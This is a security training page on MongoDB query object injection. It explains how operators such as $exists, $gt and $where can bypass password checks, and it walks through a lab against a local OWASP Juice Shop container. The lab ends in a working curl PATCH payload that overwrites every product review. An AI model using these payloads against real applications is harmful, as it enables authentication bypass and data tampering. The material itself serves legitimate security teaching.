Course Content

NoSQL Injection: MongoDb Query Object Injection

Talk Scope

  1. Learn about Mongo's Query Objects, and how they can circumvent server-side password validation
  2. Interactive Exercise: Reconnaissance of client-side javascript to find API endpoints and associated payload
  3. Interactive Exercise: Use Query Object injection to update all product reviews within Owasp's Juice Shop

Recap: What is NoSQL Injection (NoSQLi)?

  • Introduced when developers create dynamic database queries that include user supplied input (untrusted input)
  • What unexpected input types could we receive?
    • Binary
    • Query Object
    • Others

Query Objects

// Mongo shell syntax (dev syntax is very similar)
db.accounts.find({username: username_value, password: password_value});

// Find method signature
db.collection.find(query[[[, fields], options], callback]);
  • {username: username_value, password: password_value}
    • Query Object that can be leveraged to validate username/password
      • Query Objects contain logic
      • If more than one field is specified, it's an AND query

Exercise: Evaluating Injection Risks

db.accounts.find({username: username_value, password: password_value});
  • BSON injection course recap
    • Validation issues within an underlying library could allow an attacker to inject username_value / password_value with unexpected characters
  • Assume that the underlying libraries are validating correctly, how could one attack username_value / password_value?
    • Hint: Usually the issues are right in front of you
  • Answer: Nested Query Objects

Example: Query Object Injection

db.accounts.find({username: username_value, password: password_value});
  • Set password_value equal to another query object
  • What is $exists?
    • Query Operator

Query Operator Attack Vector

  • To subvert the validation condition, an attacker can try to inject query objects that evaluate to true

Query Operators

  • Query Operators
    • Comparison
    • Ex: {$gt: 0}
    • Logical
      • Ex: {$not: ""}
    • Element
      • Ex: {$exists: true}
    • Evaluation
      • $where
      • Matches documents that satisfy a JavaScript expression
    • Comment
      • db.collection.find( { <query>, $comment: <comment> } )
        • XSS Log injection

Exercise Overview

  • Scenario
    • You are a Juice Shop owner and you're trying to degrade the reputation of your competition
    • You want all preexisting reviews to be altered and display your message
    • Threat modeling
      • The financially motivated attacker
      • Not always "You've been PAWNED! You suck! Muhaha"
  • Attack Steps
    1. Evaluate client-side code to find API endpoint
    1. Leverage query object injection to update all reviews

Exercise Setup

  1. docker run -p 3000:3000 securingthestack/juice-shop:nosqli-object-injection
  2. View http://localhost:3000 in Google Chrome
  3. Create new user and log in
  4. Chrome Dev Tools
    1. dist/juice-shop.min.js
    2. Pretty Print
      1. Search for patch
  5. Click on a product from the main page and submit a product review
    1. Copy as cURL to give yourself a template

Exercise Assignment

  • Leverage the code (relevant code linked to patch), curl template, and query object injection to update every review on the site
  • Hint
    • Focus on the id field for the query object injection
    • { "id": X, "message": X }

Solution: Find Patch Data

Solution: Construct Payload

Solution: Find API endpoint URL

Solution: Construct cURL command

curl 'http://localhost:3000/rest/product/reviews' -X PATCH -H 'Pragma: no-cache'
-H 'Origin: http://localhost:3000' -H 'Accept-Encoding: gzip, deflate, br' -H
'Accept-Language: en-US,en;q=0.9' -H 'Authorization: Bearer
-H 'Content-Type: application/json;charset=UTF-8' -H 'Accept: application/json,
text/plain, */*' -H 'Cache-Control: no-cache' -H 'User-Agent: Mozilla/5.0
(Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/67.0.3396.99 Safari/537.36' -H 'Cookie:
cookieconsent_status=dismiss; language=en;
-H 'Connection: keep-alive' -H 'Referer: http://localhost:3000/' -H 'DNT: 1'
--data-binary '{ "id": { "$exists": true }, "message": "I cant believe how SOUR this juice
    was!!" }' --compressed


  • Attackers profile Javascript to deduce admin functionality (or functionality that isn't immediately available within the application)
  • Input Validation
    • Regular Expressions aren't enough, we must also validate type